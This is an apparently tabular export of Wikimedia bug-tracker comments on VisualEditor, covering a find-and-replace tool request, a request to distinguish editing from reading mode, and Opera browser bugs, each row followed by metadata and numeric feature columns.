+Is there anything else that would live in the ""Tools"" menu? (Note that the obvious items to go in a ""tools"" menu – copy, cut, paste, paste formatting – can't be done in Javascript at all, sadly.)",,,1400880157,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-l5y2bm67zzyyrk4uvrke,task_subcomment,,True,c1,3,True,,,46,,1,1,0,1,1,1,1,0,0,1,1,1,0,0,1,1,1,1,1,1,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,1,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,1,0,1,0,1,1,0,1,0,0,1
+219399,Implement a find/search and replace tool,"Yes, I would like if it would be possible to create an extra different menu, instead of adding all the tools to mislabelled ""Insert"". I think the new ""Language"" option will also fit here.",,,1400879623,,PHID-USER-cfsvvgbtlqnbt2yokfjf,True,,,PHID-TASK-l5y2bm67zzyyrk4uvrke,task_subcomment,,True,c1,3,False,,,46,,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,1,0,0,1,1,1,0,1,0,1,0,0,1,0,1,0,0,0
+219391,Implement a find/search and replace tool,"(In reply to Eran Roz from comment #8)
+> We have a first working draft for replace tool for VE:
+> https://en.wikipedia.org/wiki/User:%D7%A2%D7%A8%D7%9F/veReplace.js
+
+This ends up in the (mis-labelled) ""Insert"" menu, right? Would it be helpful it we created a category of tool to manipulate the contents (a spelling or grammar tool might also fit here, though again it's something you'd generally expect your browser to provide)?",,,1398975277,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-l5y2bm67zzyyrk4uvrke,task_subcomment,,True,c1,3,True,,,43,,0,1,0,0,0,1,1,0,1,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,1,0,1,0,0,0,0,1
+219387,Implement a find/search and replace tool,"We have a first working draft for replace tool for VE:
+https://en.wikipedia.org/wiki/User:%D7%A2%D7%A8%D7%9F/veReplace.js
+
+It works and replace the specified text, and undo&redo are properly supported (the last is just a claim that we didn't hack the VE too much :) ). 
+Currently it does only ""replace all"" but it can be easily extended with simple replace function, regexs and more... 
+We didn't ""publish"" it yet in village pumps since we want to do add at least some of this features before.",,,1398963768,,PHID-USER-cfsvvgbtlqnbt2yokfjf,True,,,PHID-TASK-l5y2bm67zzyyrk4uvrke,task_subcomment,,True,c1,3,False,,,43,,1,0,0,1,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,1,0,1,1,0,0,1,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,1,1,0,1,0,1,0,0,0,1,1,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,1,0,0,1,0,0,0,1,1,1,0,1,0,1,1,0,1,0,1,1,1,0
+219383,Implement a find/search and replace tool,"(In reply to Eran Roz from comment #6)
+> As part of the work on
+> [[meta:Grants:IEG/Visual_editor-_gadgets_compatibility]], I plan to work on
+> [[meta:User:Pathoschild/Scripts/Regex menu framework]], that should give a
+> quick&dirty workaround to this issue.
+
+Consider using the new version of that script instead:
+[[m:User:Pathoschild/Scripts/TemplateScript]]",,,1396716497,,PHID-USER-sryrz6tgcfnnsiddx32p,True,,,PHID-TASK-l5y2bm67zzyyrk4uvrke,task_subcomment,,True,c1,3,False,,,39,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+219377,Implement a find/search and replace tool,"I agree with Amir. This is regression as this option is already available in WikiEditor and it is very basic functionality (available even in simple notepad), so it isn't an enhancement but at least normal (or major?) bug.
+
+As part of the work on [[meta:Grants:IEG/Visual_editor-_gadgets_compatibility]], I plan to work on [[meta:User:Pathoschild/Scripts/Regex menu framework]], that should give a quick&dirty workaround to this issue.",,,1396687246,,PHID-USER-cfsvvgbtlqnbt2yokfjf,True,,,PHID-TASK-l5y2bm67zzyyrk4uvrke,task_subcomment,,True,c1,3,False,,,39,,0,0,1,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,1,0,0,0,1,1
+219371,Implement a find/search and replace tool,"Somebody told me that my comment was unclear: when I say that it's a regression and not an enhancement, I mean that the *lack* of search and replace functionality is a regression, and the request to have it should be treated as a bug report and not as an enhancement request.",,,1396685853,,PHID-USER-xfe43w2lb5gpvglf4coa,True,,,PHID-TASK-l5y2bm67zzyyrk4uvrke,task_subcomment,,True,c1,3,False,,,39,,0,1,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,0,1,1,1,1,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,1,0,0,0,1,0,1,0,0,1,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,1,0,0,0,0
+219365,Implement a find/search and replace tool,I'd say that it's a regression and not an enhancement.,,,1395925189,,PHID-USER-xfe43w2lb5gpvglf4coa,True,,,PHID-TASK-l5y2bm67zzyyrk4uvrke,task_subcomment,,True,c1,3,False,,,38,,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0
+219358,Implement a find/search and replace tool,This still seems to be a popular request from users at multiple Wikipedias.,,,1386468820,,PHID-USER-uf3buojo4ceizjywvyn5,True,,,PHID-TASK-l5y2bm67zzyyrk4uvrke,task_subcomment,,True,c1,3,False,,,22,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+219351,Implement a find/search and replace tool,*** Bug 53326 has been marked as a duplicate of this bug. ***,,,1377460909,,PHID-USER-hgn5uw2jafgjgfvxibhh,True,,,PHID-TASK-l5y2bm67zzyyrk4uvrke,task_subcomment,,True,c1,3,True,,,7,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+219344,Implement a find/search and replace tool,"As long as it doesn't have the same performance issues which makes it unusable (bug 23510), I support this. :-)",,,1375968089,,PHID-USER-sryrz6tgcfnnsiddx32p,True,,,PHID-TASK-l5y2bm67zzyyrk4uvrke,task_subcomment,,True,c1,3,False,,,5,,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,0,1,0,0,1,0,1,0,0,1,0,1,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0
+50008,VisualEditor: There is not enough UI difference between reading and editing mode,"The difference between editing and reading mode isn't obvious enough for the user.
+
+(reported at http://de.wikipedia.org/wiki/Wikipedia:Technik/Text/Edit/VisualEditor/Alpha2013-04#Unterschied_Bearbeitungsfenster_und_gespeicherter_Artikel)
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Lowest,10.0,1367512020,,PHID-USER-7n5fvppwj4ueprv2iuys,False,,False,PHID-TASK-e53nvp2e24hk4kjigmbx,task_description,open,True,c1,1,True,False,,-9,,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+336893,VisualEditor: There is not enough UI difference between reading and editing mode,"This seems, well, almost trivial to implement. Here's what I have in my common.css to do this when I edit:
+
+.ve-ce-surface { background: #FFFDD0; }
+
+That's a personal color choice, of course. I'd be happy to defer to the consensus of a larger group of VE users about a better color. But other than choosing a color, this seems like an enhancement that can relatively easily be put in the ""done"" category.  ",,,1417807160,,PHID-USER-hirrhium5ibrtof34lwa,False,,,PHID-TASK-e53nvp2e24hk4kjigmbx,task_subcomment,,True,c1,3,False,,,74,,0,0,0,1,0,1,1,0,0,0,1,1,1,1,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,1,0,1,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,0
+222888,VisualEditor: There is not enough UI difference between reading and editing mode,"I'm with Pam on this one. Editing and reading are not two halves of the same participation at all - they are distinct activities. There should be no (or at least minimal) barriers to people participating in both but there is a fundamental difference between them.
+
+Reading Wikipedia and other Wikimedia projects is an act of consuming content. With varying degrees of interactivity you can choose which content you want to consume, and in limited ways how you want to consume it. It is possible to read Wikipedia etc in many different environments, for example using a desktop computer, handheld tablet, e-ink reader, dead-tree books even projected onto the side of buildings iirc. The reader has no responsibility to or for the content and enters into no legal agreement with anyone (although they may do so with others in order to access Wikipedia in some modes).
+
+Editing Wikipedia is an inherently interactive process of collaborative production. It entails the responsibility to abide be the legal agreement they enter into, and the requirement to not insert copyright violations, to agree to community norms, and display at least basic competence, etc. Editors must agree to be responsible for the content they enter, and so must be old enough according to one or more legal jurisdictions to assume that responsibility. It is not possible to edit Wikipedia in all modes it is possible to read it in.
+
+Look at attachment 12954 (the second attachment on bug 52004 in case that link doesn't work) for perhaps the clearest evidence about how reading and editing are fundamentally different concepts.
+
+In addition to the above there a practical difference with the way one has to behave with a reading window and editing window. When reading, I can paste a new link anywhere on the page to view a different article, or an can follow a link from anywhere in the page with no need to think about anything else; I can page down using the space bar (often convenient on this laptop), and I can simply type a few characters or words to quickly jump to a different part of the page. When editing I cannot do any of those and I need to be able to tell at a glance whether pressing tab a couple of times followed by enter will take me to the third link or will alter the formatting of the page.",,,1374876541,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-e53nvp2e24hk4kjigmbx,task_subcomment,,True,c1,3,False,,,3,,1,1,0,0,1,1,1,0,1,0,1,1,0,0,1,1,1,1,1,1,1,1,0,0,1,1,0,1,1,1,1,1,1,1,1,1,0,0,1,1,1,1,0,1,0,1,0,0,1,1,1,1,0,1,0,1,0,1,1,0,1,1,1,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,1,1,1,1,1
+222883,VisualEditor: There is not enough UI difference between reading and editing mode,"What's the virtue of having no difference between reading and edit mode? I see none. If I'm in editing mode, I want to be reminded that I still need to close off the edit properly (give edit summary, save page), rather than accidentally just close down all tabs, or leave the computer and let it close itself messily after x hours). I may be juggling several open windows, in connection with the one edit or with other jobs (and because the page dialog obscures the article, I'm often opening a second copy of the page while I'm in VE so that I can actually see it while adding a category or stub template, as being quicker than closing the dialog box to see the information I need). Editing and reading are two different activities: someone editing has responsibilities - not to accidentally lean on keys and produce garbage, not to leave the page without a helpful edit summary. Someone reading... is just someone reading.",,,1373882835,,PHID-USER-7zhn2ep5wvjhxetsbb6n,False,,,PHID-TASK-e53nvp2e24hk4kjigmbx,task_subcomment,,True,c1,3,False,,,2,,1,1,0,1,1,1,1,1,0,1,1,1,0,0,0,1,0,1,1,1,1,0,1,0,0,1,0,0,1,0,1,1,1,1,1,0,0,0,0,0,1,0,0,1,0,1,0,0,0,1,0,1,0,1,0,0,0,0,1,0,0,1,1,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,1,1,1,1,1,0,0
+222878,VisualEditor: There is not enough UI difference between reading and editing mode,*** Bug 50456 has been marked as a duplicate of this bug. ***,,,1373852659,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-e53nvp2e24hk4kjigmbx,task_subcomment,,True,c1,3,True,,,2,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+222872,VisualEditor: There is not enough UI difference between reading and editing mode,"Bug 48272 should help a little, changing the browser tab and title when editing. The reporter wanted a change within the content area, such as a red border while editing.",,,1369192036,,PHID-USER-gbl4hfak3cfurt3c7skd,False,,,PHID-TASK-e53nvp2e24hk4kjigmbx,task_subcomment,,True,c1,1,False,,,-6,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,1,1,1,1,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0
+222868,VisualEditor: There is not enough UI difference between reading and editing mode,"This is somewhat of a deliberate choice - indeed, a long term goal is to be able to have no distinction at all between 'read' and 'edit' modes (except that in one you'll have a cursor) - though we may not do this for Wikimedia's servers, and certainly not soon.
+
+I'm willing to consider suggestions about making it a little more obvious without breaking the fundamental concept that editing and reading are two halves of the same participation, but marking this as Lowest/Enhancement to reflect this.",,,1367547755,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-e53nvp2e24hk4kjigmbx,task_subcomment,,True,c1,1,True,,,-9,,1,0,0,0,1,1,1,0,1,0,1,1,0,1,0,1,0,1,1,0,1,0,0,0,0,1,0,0,1,1,0,1,1,1,0,1,0,0,1,0,1,0,1,1,0,1,0,0,0,1,1,1,0,1,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,0,1,0,1,1,0,0
+49794,VisualEditor: Link inspector doesn't open in Opera,"The link inspector doesn't open. Clicking the little button causes it to animate as if it was opening, then disappear completely.
+
+I'm investigating.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Lowest,10.0,1367169780,1372894482.0,PHID-USER-wkpnidxoctuhawexig5p,False,,False,PHID-TASK-tsmqnxcmfpxq6jai5pux,task_description,resolved,True,c1,1,True,False,True,-10,,0,0,1,0,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+209884,VisualEditor: Link inspector doesn't open in Opera,"Sweet, link editing is now possible. Now we just need bug 47793 fixed and Opera will be basically on par with other browsers in temrs of VE support.",,,1372894482,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-tsmqnxcmfpxq6jai5pux,task_subcomment,,True,c1,3,True,,,0,,0,0,0,0,0,1,1,0,0,0,1,0,1,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+209878,VisualEditor: Link inspector doesn't open in Opera,"Change 61365 merged by jenkins-bot:
+Revert ""Address error caused by changing focus from context menu to window.""
+
+https://gerrit.wikimedia.org/r/61365",,,1372889290,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-tsmqnxcmfpxq6jai5pux,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,0,0,1,0,0,0
+209872,VisualEditor: Link inspector doesn't open in Opera,"Ie4f1334e is just a proof-of-concept, not really a patch yet.",,,1367238767,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-tsmqnxcmfpxq6jai5pux,task_subcomment,,True,c1,1,True,,,-9,,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+209867,VisualEditor: Link inspector doesn't open in Opera,Related URL: https://gerrit.wikimedia.org/r/61365 (Gerrit Change Ie4f1334e0beb7ba7d4f4aa3b42464fa219c4778c),,,1367238634,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-tsmqnxcmfpxq6jai5pux,task_subcomment,,True,c1,1,False,,,-9,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+49793,VisualEditor: ve.ce.SurfaceObserver.prototype.stop() called without a subsequent call to ve.ce.SurfaceObserver.prototype.start(),"Something causes ve.ce.SurfaceObserver.prototype.stop() to be called without a subsequent call to ve.ce.SurfaceObserver.prototype.start().
+
+Apparently happens after clicking on a link. I'm investigating.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Lowest,10.0,1367169660,1375845262.0,PHID-USER-wkpnidxoctuhawexig5p,False,,False,PHID-TASK-bplfh6ygtxtpnfjjomyl,task_description,resolved,True,c1,1,True,False,True,-10,,0,1,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+209824,VisualEditor: ve.ce.SurfaceObserver.prototype.stop() called without a subsequent call to ve.ce.SurfaceObserver.prototype.start(),I'm hacking around mutation observers.. maybe we will get rid of SurfaceObserver soon (and get rid of those kind of problems).,,,1375851816,,PHID-USER-s7sn3zjthnxvep34c5ho,False,,,PHID-TASK-bplfh6ygtxtpnfjjomyl,task_subcomment,,True,c1,3,False,,,5,,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+209818,VisualEditor: ve.ce.SurfaceObserver.prototype.stop() called without a subsequent call to ve.ce.SurfaceObserver.prototype.start(),Fixed a second time. Maybe. :-),,,1375845262,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-bplfh6ygtxtpnfjjomyl,task_subcomment,,True,c1,3,True,,,5,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0
+209812,VisualEditor: ve.ce.SurfaceObserver.prototype.stop() called without a subsequent call to ve.ce.SurfaceObserver.prototype.start(),"Change 77639 merged by jenkins-bot:
+Actually fix bug 47793 for Opera for real this time
+
+https://gerrit.wikimedia.org/r/77639",,,1375845178,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bplfh6ygtxtpnfjjomyl,task_subcomment,,True,c1,3,False,,,5,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+209805,VisualEditor: ve.ce.SurfaceObserver.prototype.stop() called without a subsequent call to ve.ce.SurfaceObserver.prototype.start(),"Change 77639 had a related patch set uploaded by Matmarex:
+Actually fix bug 47793 for Opera for real this time
+
+https://gerrit.wikimedia.org/r/77639",,,1375650620,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bplfh6ygtxtpnfjjomyl,task_subcomment,,True,c1,3,False,,,4,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+209799,VisualEditor: ve.ce.SurfaceObserver.prototype.stop() called without a subsequent call to ve.ce.SurfaceObserver.prototype.start(),Hooray! This shouldn't be causing issues anymore now.,,,1375118463,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-bplfh6ygtxtpnfjjomyl,task_subcomment,,True,c1,3,True,,,4,,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0
+209792,VisualEditor: ve.ce.SurfaceObserver.prototype.stop() called without a subsequent call to ve.ce.SurfaceObserver.prototype.start(),"Change 71249 merged by jenkins-bot:
+ve.ce.Surface: Prevent focus loss on the document node in Opera
+
+https://gerrit.wikimedia.org/r/71249",,,1375118269,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bplfh6ygtxtpnfjjomyl,task_subcomment,,True,c1,3,False,,,4,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+209784,VisualEditor: ve.ce.SurfaceObserver.prototype.stop() called without a subsequent call to ve.ce.SurfaceObserver.prototype.start(),"Change 61358 abandoned by Matmarex:
+Don't bind 'blur' and 'focus' on the document node in Opera
+
+Reason:
+A different approach in I7962f59bd02e0.
+
+https://gerrit.wikimedia.org/r/61358",,,1372541828,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bplfh6ygtxtpnfjjomyl,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,1,0,0,0,0,0
+209778,VisualEditor: ve.ce.SurfaceObserver.prototype.stop() called without a subsequent call to ve.ce.SurfaceObserver.prototype.start(),"Change 71249 had a related patch set uploaded by Matmarex:
+ve.ce.Surface: Prevent focus loss on the document node in Opera
+
+https://gerrit.wikimedia.org/r/71249",,,1372541790,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bplfh6ygtxtpnfjjomyl,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+209772,VisualEditor: ve.ce.SurfaceObserver.prototype.stop() called without a subsequent call to ve.ce.SurfaceObserver.prototype.start(),Gotcha. Why does Opera have to be weird...,,,1367235895,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-bplfh6ygtxtpnfjjomyl,task_subcomment,,True,c1,1,True,,,-9,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0
+209766,VisualEditor: ve.ce.SurfaceObserver.prototype.stop() called without a subsequent call to ve.ce.SurfaceObserver.prototype.start(),Related URL: https://gerrit.wikimedia.org/r/61358 (Gerrit Change Iaaa2a7993f3561dc663a064468c396ebfe951ce7),,,1367235847,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bplfh6ygtxtpnfjjomyl,task_subcomment,,True,c1,1,False,,,-9,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+49772,VisualEditor: ve.ce.Surface.getSelectionRect() throws errors in Opera,"ve.ce.Surface.getSelectionRect() throws errors in Opera. I think this is the root cause of bug 37861 and likely various other issues.
+
+It seems that rangySel.get{Start,End}DocumentPos consistently fails in Opera, because nativeRange.getClientRects() inside of the private createClientBoundaryPosGetter() function returns an empty collection. This causes the ""Cannot get position for range ..."" error to be thrown.
+
+I'm still investigating the why, I'm just putting this here. Changing getSelectionRect() to just always return some static value seems to work (or at least not fail miserably anymore).
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Lowest,10.0,1367065980,1367595441.0,PHID-USER-wkpnidxoctuhawexig5p,False,,False,PHID-TASK-h4j7vw6gh3bn7a3uis4l,task_description,resolved,True,c1,1,True,False,True,-10,,1,0,0,1,1,1,1,1,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,1,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,1,1,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,1,0
